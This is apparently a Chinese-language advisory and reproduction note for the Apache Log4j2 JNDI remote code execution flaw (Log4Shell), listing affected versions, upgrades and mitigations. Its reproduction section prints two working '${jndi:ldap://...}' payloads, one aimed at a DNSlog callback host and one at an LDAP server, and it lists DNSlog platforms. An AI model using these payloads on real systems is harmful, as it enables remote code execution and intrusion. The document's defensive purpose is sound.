漏洞描述
Apache Log4j2是一款优秀的Java日志框架。2021年11月24日,阿里云安全团队向Apache官方报告了Apache Log4j2远程代码执行漏洞。由于Apache Log4j2某些功能存在递归解析功能,攻击者可直接构造恶意请求,触发远程代码执行漏洞。漏洞利用无需特殊配置,经阿里云安全团队验证,Apache Struts2、Apache Solr、Apache Druid、Apache Flink等均受影响。阿里云应急响应中心提醒 Apache Log4j2 用户尽快采取安全措施阻止漏洞攻击。
影响版本
2.0-beta9 <= Apache Log4j <= 2.15.0-rc1
不受影响版本
Apahce Log4j 2.15.0-rc2(与官网的2.15.0稳定版相同)
Apache Log4j 2.15.1-rc1
PS:
1、 使用Apache Log4j 1.X版本的应用,若开发者对JMS Appender利用不当,可对应用产生潜在的安全影响。
2、 官方在Apache Log4j 2.15.0-rc1版本中已将log4j2.formatMsgNoLookups默认设置为true,在没有更改此默认配置的情况下,Log4j 2.15.0-rc1版本不受该漏洞影响。
漏洞复现
log4j.java代码
log4jRCE.java代码
POC验证
payload:${jndi:ldap://1otakd.ceye.io/exp}
DNSlog平台
ceye.io
dnslog.link
dnslog.cn
dnslog.io
tu4.org
burpcollaborator.net
EXP验证
payload:${jndi:ldap://172.20.10.2:1389/l41iv4}
漏洞修复
目前官方已发布Apache Log4j 2.15.1-rc1(测试版)及Apache Log4j 2.15.0(稳定版)修复该漏洞,建议受影响用户可将Apache Log4j所有相关应用到以上版本,下载链接:https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.1-rc1或https://logging.apache.org/log4j/2.x/download.html
ps:若用户目前已经升级为Log4j 2.15.0-rc1或Log4j 2.15.0-rc2版本,默认配置下已不受该漏洞影响;请确定相关业务是否需要使用lookup功能,如果需要开启,请考虑升级到Log4j 2.15.1-rc1版本进行解决。
注:防止升级过程出现意外,建议相关用户在备份数据后再进行操作。
缓解措施
(1)添加jvm启动参数 -Dlog4j2.formatMsgNoLookups=true
(2)在应用程序的classpath下添加log4j2.component.properties配置文件文件,文件内容:log4j2.formatMsgNoLookups=True
(3)移除log4j-core包中JndiLookup 类文件,并重启服务
具体命令:zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
(4)建议JDK使用11.0.1、8u191、7u201、6u211及以上的高版本
(5)限制受影响应用对外访问互联网
(6)禁用JNDI。如在spring.properties里添加spring.jndi.ignore=true
(7)采用其他防护措施,更新WAF、RASP规则等